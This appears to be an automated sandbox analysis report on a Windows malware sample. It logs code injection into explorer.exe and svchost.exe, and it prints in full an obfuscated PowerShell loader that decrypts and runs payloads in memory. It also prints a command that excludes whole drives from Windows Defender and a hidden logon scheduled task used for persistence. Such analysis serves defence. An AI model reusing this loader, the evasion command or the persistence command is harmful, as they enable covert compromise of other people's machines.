File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3504 base: 7590000 value: E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3504 base: 8270000 value: E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3168 base: 740000 value: E8

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 7590000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 870000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 6D0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B60000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: BF0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: CE0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: CF0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: F80000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 390000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: DD0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 250000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: CE0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 310000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 860000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: BF0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 680000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 540000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B00000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: BD0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: E80000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 8270000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 8A0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 700000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B90000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: C20000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: D10000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: D20000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: FB0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 3C0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: E00000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 280000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: D10000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 340000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 890000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: C20000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 6B0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 570000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: C00000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: EB0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: AB0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B10000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 3B0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 3F0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 990000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 3D0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 140000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 710000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: BB0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: D60000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: AD0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: FB0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 800000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 910000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: CD0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 310000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 9A0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 8C0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: C70000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 680000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: A20000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 910000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: B80000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: F00000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 4D0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: F20000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 8D0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 130000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 860000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 740000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 500000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 6B0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 2E0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: D80000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 170000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 220000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\svchost.exe base: 140000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 740000

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" "
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe "C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe "C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\appdata\local\temp\1010782021\spreadtest.cmd';$upfh='spipunlipunitipun'.replace('ipun', ''),'eytqnntytqnrypytqnoinytqntytqn'.replace('ytqn', ''),'rewatbawatbdlwatbinewatbswatb'.replace('watb', ''),'lozhirazhirdzhir'.replace('zhir', ''),'cocionpyciontocion'.replace('cion', ''),'eleblgxmeblgxntblgxatblgx'.replace('blgx', ''),'travhtqnvhtqsfvhtqormvhtqfvhtqinvhtqalvhtqbvhtqlvhtqocvhtqkvhtq'.replace('vhtq', ''),'maincuvnmncuvoduncuvlencuv'.replace('ncuv', ''),'dehlmbcohlmbmphlmbreshlmbshlmb'.replace('hlmb', ''),'frykguomykgubykguasykgueykgu64ykgustykgurykguiykgungykgu'.replace('ykgu', ''),'getxkyicuxkyirrxkyientxkyiprxkyiocexkyisxkyisxkyi'.replace('xkyi', ''),'chtjfpantjfpgetjfpetjfpxtjfptetjfpntjfpsiotjfpntjfp'.replace('tjfp', ''),'ifrqcnfrqcvofrqckfrqcefrqc'.replace('frqc', ''),'cbnyhrbnyheatbnyhebnyhdecbnyhrybnyhptobnyhrbnyh'.replace('bnyh', '');powershell -w hidden;$modules=[system.diagnostics.process]::($upfh[10])().modules;if ($modules -match 'hmpalert.dll') { exit; };function kiiiy($vdxgf){$bvibg=[system.security.cryptography.aes]::create();$bvibg.mode=[system.security.cryptography.ciphermode]::cbc;$bvibg.padding=[system.security.cryptography.paddingmode]::pkcs7;$bvibg.key=[system.convert]::($upfh[9])('rg9bvfirpydthcjwhkn1kl+2athiycxiofi7qk7dfvg=');$bvibg.iv=[system.convert]::($upfh[9])('egtu7s0nec7uingxirfvsq==');$etngb=$bvibg.($upfh[13])();$jgaou=$etngb.($upfh[6])($vdxgf,0,$vdxgf.length);$etngb.dispose();$bvibg.dispose();$jgaou;}function vtdgl($vdxgf){$wqeyp=new-object system.io.memorystream(,$vdxgf);$otomj=new-object system.io.memorystream;$dtjrr=new-object system.io.compression.gzipstream($wqeyp,[io.compression.compressionmode]::($upfh[8]));$dtjrr.($upfh[4])($otomj);$dtjrr.dispose();$wqeyp.dispose();$otomj.dispose();$otomj.toarray();}$bidzy=[system.io.file]::($upfh[2])([console]::title);$ytfzl=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 5).substring(2))));$dzthg=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 6).substring(2))));[system.reflection.assembly]::($upfh[3])([byte[]]$dzthg).($upfh[1]).($upfh[12])($null,$null);[system.reflection.assembly]::($upfh[3])([byte[]]$ytfzl).($upfh[1]).($upfh[12])($null,$null); "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'onenote 9294' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\network9294man.cmd') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\appdata\roaming\network9294man.cmd';$upfh='spipunlipunitipun'.replace('ipun', ''),'eytqnntytqnrypytqnoinytqntytqn'.replace('ytqn', ''),'rewatbawatbdlwatbinewatbswatb'.replace('watb', ''),'lozhirazhirdzhir'.replace('zhir', ''),'cocionpyciontocion'.replace('cion', ''),'eleblgxmeblgxntblgxatblgx'.replace('blgx', ''),'travhtqnvhtqsfvhtqormvhtqfvhtqinvhtqalvhtqbvhtqlvhtqocvhtqkvhtq'.replace('vhtq', ''),'maincuvnmncuvoduncuvlencuv'.replace('ncuv', ''),'dehlmbcohlmbmphlmbreshlmbshlmb'.replace('hlmb', ''),'frykguomykgubykguasykgueykgu64ykgustykgurykguiykgungykgu'.replace('ykgu', ''),'getxkyicuxkyirrxkyientxkyiprxkyiocexkyisxkyisxkyi'.replace('xkyi', ''),'chtjfpantjfpgetjfpetjfpxtjfptetjfpntjfpsiotjfpntjfp'.replace('tjfp', ''),'ifrqcnfrqcvofrqckfrqcefrqc'.replace('frqc', ''),'cbnyhrbnyheatbnyhebnyhdecbnyhrybnyhptobnyhrbnyh'.replace('bnyh', '');powershell -w hidden;$modules=[system.diagnostics.process]::($upfh[10])().modules;if ($modules -match 'hmpalert.dll') { exit; };function kiiiy($vdxgf){$bvibg=[system.security.cryptography.aes]::create();$bvibg.mode=[system.security.cryptography.ciphermode]::cbc;$bvibg.padding=[system.security.cryptography.paddingmode]::pkcs7;$bvibg.key=[system.convert]::($upfh[9])('rg9bvfirpydthcjwhkn1kl+2athiycxiofi7qk7dfvg=');$bvibg.iv=[system.convert]::($upfh[9])('egtu7s0nec7uingxirfvsq==');$etngb=$bvibg.($upfh[13])();$jgaou=$etngb.($upfh[6])($vdxgf,0,$vdxgf.length);$etngb.dispose();$bvibg.dispose();$jgaou;}function vtdgl($vdxgf){$wqeyp=new-object system.io.memorystream(,$vdxgf);$otomj=new-object system.io.memorystream;$dtjrr=new-object system.io.compression.gzipstream($wqeyp,[io.compression.compressionmode]::($upfh[8]));$dtjrr.($upfh[4])($otomj);$dtjrr.dispose();$wqeyp.dispose();$otomj.dispose();$otomj.toarray();}$bidzy=[system.io.file]::($upfh[2])([console]::title);$ytfzl=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 5).substring(2))));$dzthg=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 6).substring(2))));[system.reflection.assembly]::($upfh[3])([byte[]]$dzthg).($upfh[1]).($upfh[12])($null,$null);[system.reflection.assembly]::($upfh[3])([byte[]]$ytfzl).($upfh[1]).($upfh[12])($null,$null); "
